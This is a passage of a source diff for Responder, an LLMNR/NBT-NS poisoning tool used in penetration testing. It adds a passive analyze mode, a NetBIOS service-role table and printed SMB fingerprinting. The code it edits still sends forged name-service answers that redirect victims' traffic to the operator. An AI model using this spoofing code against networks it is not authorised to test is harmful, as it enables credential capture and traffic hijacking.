diff --git a/Fingerprint.py b/Fingerprint.py index 5ccc95e..29a7837 100644 --- a/Fingerprint.py +++ b/Fingerprint.py @@ -15,7 +15,7 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import re,sys,socket,struct +import re,sys,socket,struct,string from socket import * from odict import OrderedDict @@ -101,13 +101,14 @@ class SMBSessionFingerData(Packet): def OsNameClientVersion(data): - lenght = struct.unpack('. -import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser,BaseHTTPServer, select,urlparse,zlib +import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser,BaseHTTPServer, select,urlparse,zlib, string from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer from Fingerprint import RunSmbFinger,OsNameClientVersion from odict import OrderedDict @@ -26,6 +26,8 @@ from random import randrange parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -b On -r On', prog=sys.argv[0], ) +parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning anything.", metavar="10.20.30.40",dest="Analyse") + parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") parser.add_option('-I','--interface', action="store", help="Network interface to use", metavar="eth0", dest="INTERFACE", default="Not set") @@ -46,7 +48,7 @@ parser.add_option('-v',action="store_true", help="More verbose",dest="Verbose") options, args = parser.parse_args() -if options.OURIP is None: +if options.OURIP is None and options.Analyse is None: print "-i mandatory option is missing\n" parser.print_help() exit(-1) @@ -86,6 +88,7 @@ Finger_On_Off = options.Finger.upper() INTERFACE = options.INTERFACE Verbose = options.Verbose Force_WPAD_Auth = options.Force_WPAD_Auth.upper() +AnalyzeMode = options.Analyse if INTERFACE != "Not set": BIND_TO_Interface = INTERFACE @@ -114,6 +117,12 @@ def OsInterfaceIsSupported(INTERFACE): if INTERFACE == "Not set": return False +def Analyze(AnalyzeMode): + if AnalyzeMode == True: + return True + else: + return False + #Logger import logging logging.basicConfig(filename=str(os.path.join(ResponderPATH,SessionLog)),level=logging.INFO,format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') @@ -123,6 +132,10 @@ Log2Filename = str(os.path.join(ResponderPATH,"LLMNR-NBT-NS.log")) logger2 = logging.getLogger('LLMNR/NBT-NS') logger2.addHandler(logging.FileHandler(Log2Filename,'w')) +AnalyzeFilename = str(os.path.join(ResponderPATH,"Analyze-LLMNR-NBT-NS.log")) +logger3 = logging.getLogger('Analyze LLMNR/NBT-NS') +logger3.addHandler(logging.FileHandler(AnalyzeFilename,'w')) + def Show_Help(ExtraHelpData): help = "NBT Name Service/LLMNR Responder 2.0.\nPlease send bugs/comments to: lgaffie@trustwave.com\nTo kill this script hit CRTL-C\n\n" help+= ExtraHelpData @@ -140,7 +153,7 @@ def WriteData(outfile,data, user): if re.search(user.encode('hex'), filestr.read().encode('hex')): filestr.close() return False - if re.search("\$", user): + if re.search(re.escape("$"), user): filestr.close() return False else: @@ -157,7 +170,7 @@ def PrintData(outfile,user): if re.search(user.encode('hex'), filestr.read().encode('hex')): filestr.close() return False - if re.search("\$", user): + if re.search(re.escape("$"), user): filestr.close() return False else: @@ -170,7 +183,7 @@ def PrintLLMNRNBTNS(outfile,Message): return True if os.path.isfile(outfile) == True: with open(outfile,"r") as filestr: - if re.search(Message, filestr.read()): + if re.search(re.escape(Message), filestr.read()): filestr.close() return False else: @@ -186,10 +199,8 @@ for i in range(0,len(NumChal),2): Show_Help("[+]NBT-NS & LLMNR responder started\n[+]Loading Responder.conf File..\nGlobal Parameters set:\nResponder is bound to this interface:%s\nChallenge set is:%s\nWPAD Proxy Server is:%s\nWPAD script loaded:%s\nHTTP Server is:%s\nHTTPS Server is:%s\nSMB Server is:%s\nSMB LM support is set to:%s\nSQL Server is:%s\nFTP Server is:%s\nIMAP Server is:%s\nPOP3 Server is:%s\nSMTP Server is:%s\nDNS Server is:%s\nLDAP Server is:%s\nFingerPrint Module is:%s\nServing Executable via HTTP&WPAD is:%s\nAlways Serving a Specific File via HTTP&WPAD is:%s\n\n"%(BIND_TO_Interface, NumChal,WPAD_On_Off,WPAD_Script,On_Off,SSL_On_Off,SMB_On_Off,LM_On_Off,SQL_On_Off,FTP_On_Off,IMAP_On_Off,POP_On_Off,SMTP_On_Off,DNS_On_Off,LDAP_On_Off,Finger_On_Off,Exe_On_Off,Exec_Mode_On_Off)) -#Simple NBNS Services. -W_REDIRECT = "\x41\x41\x00" -FILE_SERVER = "\x43\x41\x00" - +if AnalyzeMode: + print '[+]Responder is in analyze mode. No NBT-NS/LLMNR requests will be poisoned.\n' #Packet class handling all packet generation (see odict.py). class Packet(): @@ -252,12 +263,31 @@ class NBT_Ans(Packet): self.fields["NbtName"] = data[12:46] self.fields["IP"] = inet_aton(OURIP) +def NBT_NS_Role(data): + Role = { + "\x41\x41\x00":"Workstation/Redirector Service", + "\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller if any, according to MSFT specs.)", + "\x42\x4d\x00":"Domain controller service. This name is a domain controller.", + "\x42\x4e\x00":"Local Master Browser", + "\x42\x4f\x00":"Browser Election Service.", + "\x43\x41\x00":"File Server Service", + "\x41\x42\x00":"Browser Service", + } + + if data in Role: + return Role[data] + else: + return "Service not known." + # Define what are we answering to. def Validate_NBT_NS(data,Wredirect): - if FILE_SERVER == data[43:46]: + if Analyze(AnalyzeMode): + #print NBT_NS_Role(data[43:46]) + return False + if NBT_NS_Role(data[43:46]) == "File Server Service": return True if Wredirect == "ON": - if W_REDIRECT == data[43:46]: + if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service": return True else: return False @@ -271,7 +301,7 @@ def Decode_Name(nbname): for i in range(0, 32, 2): l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) - return ''.join(l).split('\x00', 1)[0].strip() + return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) except: return "Illegal NetBIOS name" @@ -282,7 +312,26 @@ class NB(BaseRequestHandler): request, socket = self.request data = request Name = Decode_Name(data[13:45]) - if RespondToSpecificHost(RespondTo): + + if Analyze(AnalyzeMode): + if data[2:4] == "\x01\x10": + if Is_Finger_On(Finger_On_Off): + try: + Finger = RunSmbFinger((self.client_address[0],445)) + Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s.\nOs Version is: %s Client Version is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]) + logger3.warning(Message) + except Exception: + Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s\n"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) + logger3.warning(Message) + if PrintLLMNRNBTNS(AnalyzeFilename,Message): + print Message + else: + Message = "[Analyze mode: NBT-NS] Host: %s is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46])) + if PrintLLMNRNBTNS(AnalyzeFilename,Message): + print Message + logger3.warning(Message) + + if RespondToSpecificHost(RespondTo) and Analyze(AnalyzeMode) == False: if RespondToIPScope(RespondTo, self.client_address[0]): if data[2:4] == "\x01\x10": if Validate_NBT_NS(data,Wredirect): @@ -290,7 +339,7 @@ class NB(BaseRequestHandler): buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s.'%(self.client_address[0], Name) + Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): print Message @@ -298,6 +347,8 @@ class NB(BaseRequestHandler): if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) + print '[+] OsVersion is:%s'%(Finger[0]) + print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: @@ -308,12 +359,12 @@ class NB(BaseRequestHandler): else: if data[2:4] == "\x01\x10": - if Validate_NBT_NS(data,Wredirect): + if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False: buff = NBT_Ans() buff.calculate(data) for x in range(1): socket.sendto(str(buff), self.client_address) - Message = 'NBT-NS Answer sent to: %s. The requested name was : %s.'%(self.client_address[0], Name) + Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name) logging.warning(Message) if PrintLLMNRNBTNS(Log2Filename,Message): print Message @@ -321,6 +372,8 @@ class NB(BaseRequestHandler): if Is_Finger_On(Finger_On_Off): try: Finger = RunSmbFinger((self.client_address[0],445)) + print '[+] OsVersion is:%s'%(Finger[0]) + print '[+] ClientVersion is :%s'%(Finger[1]) logging.warning('[+] OsVersion is:%s'%(Finger[0])) logging.warning('[+] ClientVersion is :%s'%(Finger[1])) except Exception: @@ -330,34 +383,55 @@ class NB(BaseRequestHandler): ################################################################################## #Browser Listener ################################################################################## -def FindPDC(data,Client): +def BecomeBackup(data,Client): DataOffset = struct.unpack('